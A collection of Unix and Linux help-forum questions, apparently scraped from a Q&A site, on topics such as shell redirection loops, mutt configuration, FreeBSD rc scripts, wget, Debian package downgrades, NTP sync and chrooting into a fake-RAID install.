text: Can someone please explain differences between kernel route cache and neighbor table? They seem to serve similar purpose, work with the same mechanisms (garbage collected) and both manage routes...


title: Why does cat x >> x loop?

text: The following bash commands go into an infinte loop:               $ echo hi > x     $ cat x >> x      I can guess that `cat` continues to read from `x` after it has started writing to stdout. What is confusing, however, is that my own test implementation of cat exhibits different behavior:               // mycat.c     #include <stdio.h>          int main(int argc, char **argv) {       FILE *f = fopen(argv[1], "rb");       char buf[4096];       int num_read;       while ((num_read = fread(buf, 1, 4096, f))) {         fwrite(buf, 1, num_read, stdout);         fflush(stdout);       }            return 0;     }      If I run:               $ make mycat     $ echo hi > x     $ ./mycat x >> x      It does _not_ loop. Given the behavior of `cat` and the fact that I'm flushing to `stdout` before `fread` is called again, I would expect this C code to continue reading and writing in a cycle. How are these two behaviors consistent? What mechanism explains why `cat` loops while the above code does not?


title: sorting threads in mutt

text: I'd like to have mutt sort messages newest first, and have threads displayed with the newest message at the top of the thread. Right now I have the message list in the correct order, but the sub-sorting within threads is backwards (newest at bottom of thread). Here's my current configuration...               set sort = threads     set sort_aux = reverse-last-date-received      Is there any option to control sorting within threads?


title: Dual keyboard shortcuts in Gnome

text: I would like to set multiple keyboard shortcuts doing the same thing. My particular example is Volume Up/Down, I would like to retain the standard settings I have (Sound/VolumeUp - XF86AudioRaiseVolume, my laptop dedicated button) and I would like to add a second set (Tux+Up). How can I do that? Thanks a lot.


title: Is there an easy way to create a FreeBSD rc script?

text: I have a FreeBSD jail in which I run a server using the command:               /usr/sbin/daemon /path/to/script.py      At the moment I have to run this command every time I restart the machine and the jail starts. I'd like to have this command started from `/etc/rc`. Is there an easy way to create a FreeBSD rc script for a `daemon` command? * * * **UPDATE:** I read through this BSD documentation about rc scripts, and from that I created the following script in `/etc/rc.d/pytivo`:               #!/bin/sh          . /etc/rc.subr          name=pytivo     rcvar=pytivo_enable     procname="/usr/local/pytivo/pyTivo.py"          command="/usr/sbin/daemon -u jnet $procname"          load_rc_config $name     run_rc_command "$1"      This works to start the python script I am wanting as a daemon when the jail starts... (given `pytivo_enable="YES"` is in `/etc/rc.conf`) but the rc script doesn't know if the daemon is running (it thinks it isn't when it is) and it gives a warning when I try to start it:               [root@meryl /home/jnet]# /etc/rc.d/pytivo start     [: /usr/sbin/daemon: unexpected operator     Starting pytivo.     [root@meryl /home/jnet]#       So it's _close_ , and it _works_ , but I feel like I should be able to get better functionality than this.


title: wget duplicate files

text: I'm executing the command: > wget -b --no-clobber -nc -w 0 -Q 0 -r -E -e robots=off -U mozilla -t 0 --no- > dns-cache -4 -R gif,jpeg,tif,jpg,pdf,bmp,png,css,js > http://www.mywebsitearchive.com Problem: If I re-run the command (when necessary if wget abruptly stops) I get duplicates for [some] files, such as example.html and example.1.html. Oddly enough a .2.html .3.html is never created. Any idea how to prevent this?


title: How to install Nvidia drivers on Debian Jessie

text: I have installed the Nvidia drivers according to the wiki but with no success. The system hanged during boot. So, how can I install the drivers successfully on Debian Jessie? My PC's specs: GPU: GeForce 7600GS, kernel: 3.10-3-amd64


title: How to dual boot linux and windows 8.1?

text: I have a computer running Windows 8.1 and I would love to dual boot it with Linux. I am very new to Linux. I have run it in a virtual machine a few times before, but virtual machines are slow. I want to run it in real time with basically every resource in my computer used on Linux. I have tried installing Ubuntu but it gets confusing once I have to pick partitions for things and I do not want to erase anything from my Windows partition by accident. Does anyone have any suggestions for someone with my experience or lack there of. I understand it is a broad question, but please help a fellow computer wanna-be enthusiast out. T


title: How do I pause the output of minicom?

text: What is the key combination to pause/freeze the output of minicom? At times the output scrolls very quickly and it makes it difficult to analyse some event. I know I could instead capture to a file but I would really prefer to be able to just pause.


title: How can I find out which version of screen I am using?

text: Further to my previous question on `screen` not splitting my terminal , I got to the point where I can split my terminal horizontally but not vertically . This documentation says that vertical splitting requires `screen` >= 4.1. So how can I find out which version of `screen` I am using?


title: mutt SMTP TLS error sending mail

text: When I try to send a mail, I get the following error: gnutls_handshake: An unexpected TLS packet was received. This is my .muttrc (myname, myaddress and mymail are placeholders):               # Automatically log in to this mailbox at startup     set imap_user="myname"     set imap_pass=""     set spoolfile="imaps://imap.myaddress/Inbox"     set folder="imaps://imap.myaddress/Inbox"     set record="=Sent"     set postponed="=Drafts"          # define how to send mails     set smtp_url="smtps://$imap_user:$imap_pass@smtp.myaddress:587"          # activate TLS if available on the server     set ssl_starttls=yes          # always use SSL when connecting to a server     set ssl_force_tls=yes          # wait to enter mailbox manually     set imap_passive          # Automatically poll subscribed mailboxes for new mail (new in 1.5.11)     set imap_check_subscribed          # Reduce polling frequency to a sane level     set mail_check=60          # And poll the current mailbox more often (not needed with IDLE in post 1.5.11)     #set timeout=10          # keep a cache of headers for faster loading (1.5.9+?)     #set header_cache=~/.hcache          # Display download progress every 5K     set net_inc=5          # Cancel a message when subject is blank     set abort_nosubject=yes          # Set default editor     set editor="gvim -v"          # Asks to include message when replying     set include=ask-yes          # Asks to postpone a message when not sent     set postpone=ask-yes          # Ask before printing     set print=ask-yes          # set from to ensure mutt doesn't put user@localhost.localhost      set from="myemail"     set use_from=yes     set envelope_from="yes"


title: Generate nodes.pp using hiera in puppet

text: I have a environment that has several environments like production staging etc . Now what i want is that I can re-use the **nodes.pp** written for one environment for the other. Example - Suppose I have 2 environment production and staging. Each contains a web server. Now if I already have nodes.pp (or some other manifests ) written for a node in a environment, how to use hiera-puppet to generate this nodes.pp according to the environment.               +++     ++++Production      +--------------server1-production     +--------------server2-production     ++++Staging     +--------------Staging-web1  (Needs the same classes as server1-production)     +--------------Staging-web2  (Needs the same classes as server2-production)


title: Downgrade package from backports back to stable

text: I updated `tmux` on my VPS with:               apt-get install -t squeeze-backports tmux -V      And needed to get back to previous version to recover some running sessions, so I went to look which version of `tmux` is the right for Debian and then downgraded with:               apt-get install tmux=1.3-2+squeeze1      But it took me a lot of time to figure out this specific command and look for a proper version. Is there a shortcut that automatically gets the stable version? I tried different combinations for `-t` flag, but it didn't help. **UPDATE** (`apt-cache policy tmux` for debugging):               tmux:       Installed: 1.6-2~bpo60+1       Candidate: 1.6-2~bpo60+1       Version table:      *** 1.6-2~bpo60+1 0             200 http://www.backports.org/debian/ squeeze-backports/main amd64 Packages             100 /var/lib/dpkg/status          1.3-2+squeeze1 0             500 http://debian.newdream.net/ squeeze/main amd64 Packages             500 http://security.debian.org/ squeeze/updates/main amd64 Packages


title: How to overwrite stdout using echo?

text: We know to overwrite `bar.txt`, we can use this:               echo "foo" > bar.txt      but how can we overwrite to the standard output? I tried this command:               echo "foo" >      but it failed. I want this because I want to print something like this:               Hello            world          I'm           HERE       one word at a time and I want to delete the previous word (one word at a time on standard output).


title: Time requires to synch. UNIX server with NTP server; after manually chaging te UNIX server's time

text: I have a GPS server with NTP output. I want to synchronize the clock on the UNIX server using the NTP output of the GPS. After changing the UNIX server time manually, UNIX server takes a long time to synch with GPS time. for example if I change the UNIX server time to lag by 2 seconds, it takes approximately 20 minutes to synchronize with GPS time: similarly, if I change the UNIX server time to lag by 1 minutes; it is taking approximately 1 hour to synchronize with the GPS time. My question, why does UNIX server takes such a long time to synch with GPS after changing the time maually?


title: extracting and copying parts of tex files into new tex files

text: I have a bunch of tex files in different folders on my system. The goal is to create new tex files (using a template, that has the title page, packages, new commands,...) that combines all the definitions/theorems of the other tex files at a specific place in this template file. I'm pretty new to linux, so I was wondering which command/set of commands would be the best to use here. So far I used:               $ sed -n '/begin{definition}/,/end{definition}/p' <infile >outfile      which succeeds in extracting the definitions from one file into another. Someone any suggestions?


title: Can you have two paths listed in init.d file?

text: In `/etc/init.d/red5` can I list two home paths for different programs using it that are in different locations? I have red5 set up in /var/www/html but I also have it set up in /var/www/html/red5/webapps At the moment I am using `service red5 start` in the first and in second directory `sh red5.sh`. I know they do the same thing except with the first it shuts down on command `service red5 stop` but on the second it never wants to shut down, at least not right away with `./red5-shutdown.sh` The bash script seems more efficient and so I wondered if I could use it for both?


title: chroot into system

text: Update : Following the advies of slm, I could destroy the RST raid 0 and create a new raid0 using mdadm using the webpage he gave me. I could start the installation but at the step where grub is installed, I still get an error and installation stop. When I try to do the step of the webpages below, I get an error while using chroot, telling me that the file or directory doesn't exit despite it does. Do you have any idea how I can fix this ? Original : I need to install Mint on my laptop which has a fake raid0. I tried lots of time and always get an error while installing Grub. I checked on the internet and someone found a solution : after installing Mint as usual, I need to chroot into the system installed on raid. The author give the following link to help : https://help.ubuntu.com/community/Grub2/Installing#ChRoot The fact is that I just can't apply this solution to my computer. I'm stuck at the step 7 where I need to mount the correct partition. When using the partition GUI tools, I can see 4 volumes : the first one has 3 partitions (one efi, one ext4 and one swap). The 3 others volumes seem to be the 3 partitions of the first volume take one by one. Otherwise, it is asked on the link above to use fdisk, blkid. The fdisk -l command give me the followind information :               Disk /dev/sda: 128.0 GB, 128035676160 bytes          Device Boot       Start         End      Blocks   Id   System     /dev/sda1             1   500130303  250065151+   ee   GPT          Disk /dev/sdb: 128.0 GB, 128035676160 bytes          Disk /dev/sdb doesn't contain a valid partition table          WARNING: GPT (GUID Partition Table) detected on '/dev/mapper/isw_ecbefbijea_Volume1'! The util fdisk doesn't support GPT. Use GNU Parted.          Disk /dev/mapper/isw_ecbefbijea_Volume1: 256.1 GB, 256066715648 bytes          Device Boot                           Start        End      Blocks  Id   System     /dev/mapper/isw_ecbefbijea_Volume1p1      1  500130303  250065151+  ee   GPT          Disk /dev/mapper/isw_ecbefbijea_Volume1p1: 537 MB, 537657344 bytes          Disk /dev/mapper/isw_ecbefbijea_Volume1p2: 247.1 GB, 247061020672 bytes          Disk /dev/mapper/isw_ecbefbijea_Volume1p2 doesn't contain a valid partition table          WARNING: GPT (GUID Partition Table) detected on '/dev/mapper/isw_ecbefbijea_Volume1p3'! The util fdisk doesn't support GPT. Use GNU Parted.          Disk /dev/mapper/isw_ecbefbijea_Volume1p3: 8467 MB, 8467513344 bytes          Disk /dev/mapper/isw_ecbefbijea_Volume1p3 doesn't contain a valid partition table          Disk /dev/mapper/sdc: 8004 MB, 8004304896 bytes          Device     Boot  Start       End   Blocks  Id  System     /dev/sdc1     *     63  15631244  7815591   b  W95 FAT32      The blkid command give me this :               /dev/mapper/isw_ecbefbijea_Volume1p1: UUID="BF26-91E7" TYPE="vfat"     /dev/mapper/isw_ecbefbijea_Volume1p2: UUID="ac1c5978-7533-46b9-87ac-d28b7b8c5453" TYPE="ext4"     /dev/mapper/isw_ecbefbijea_Volume1p3: UUID="8c12d467-0b8d-48db-ad69-96f7a23b4ca3" TYPE="swap"     /dev/loop0: TYPE="squashfs"     /dev/sda: TYPE="isw_raid_member"     /dev/sdb: TYPE="isw_raid_member"     /dev/sdc1: LABEL="SANDISK" UUID="4208-38E8" TYPE="vfat"      Can someone help me to fix this problem ? EDIT : This is the parted -l command output :               Backtrace has 8 calls on stack :     8: /lib/x86_linux-linux-gnu/libparted.so.0(ped_assert+0x31) [0x7f3d015404b1]     7: /lib/x86_linux-linux-gnu/libparted.so.0(+0x3f5f6) [0x7f3d015705f6]     6: /lib/x86_linux-linux-gnu/libparted.so.0(ped_disk_new+0x49) [0x7f3d0145f99]     5: parted() [0x406dff]     4: parted() [0x407bda]     3: parted(main+0x154b) [0x4065cb]     2: /lib/x86_linux-linux-gnu/libparted.so.6(__libc_start_main+0xf5) [0x7f3d00d1dec5]     1: parted() [0x406617]          You found a bug in GNU Parted! Here's what you have to do:     ....


title: setting up script in a linux machine for scientific computation

text: I'd like to setup machine for test some computation in my old laptop, before replicate the tests on the server. The computation will be image-processing and machine learning, run some program, load images and videos and run a svm training for object detection. the trainig could be 1 week of computations, maybe more. The server will be CentOS, so I'm thinking about a Fedora machine. I'd like to make a setup bash script where I install all the needed (vpn, zsh, cmake, python, numpy, ffmpeg, libsvm, opencv, qt) and **send me a report** via mail when finished. I'd like to automate everything with a script and make the image of the filesystem because the main idea is to have some data, analyse them in the next days, then reset the system, use new parameters for the learning algorithm, and run again the training program. repeat it. The machine will have to run and I will wait it to finish so that I'm thinking about some watchdog with cronjob that tell me how is working, send me report in the end, send me a mail if something goes wrong, etc I'm not a Linux guru so.. any kind of advice are welcome!


title: I'm looking for a videochat/videoconferencing server software (Debian)

text: I'd like to host a videochat/videoconferencing server on my Debian VPS. It should be in first place SECURE and light. It should use `RTMPE` protocol because `RTMP` is not secured, `RTMPS` needs an SSL certificate from a Certificate Authority, that I don't want to buy. I have tried `Apache OpenMeetings` and it was pretty good (even though it had too many features for my needs). This software anyway is not suitable because it doesn't support `RTMPE` and the Linux and Mac flash clients do not support `RTMPS`. Which is the best free software to obtain simple and secure video-chatting or conferencing? Any alternative to RTMPE will be appreciated.


title: What environment and credential is used by startup, background and service processes

text: Startup scripts (on boot) Processes running in (or sent to) the background (when using SSH -fN for example) Services etc... What $path variable will they be using? What credentials? Anything else I should know? Tried googling it... found a lot of fragmented info in forums but nothing giving a clear/complete picture of whats going on. FYI I'm running Raspbian which is pretty much the same as Debian. Thanks for your help.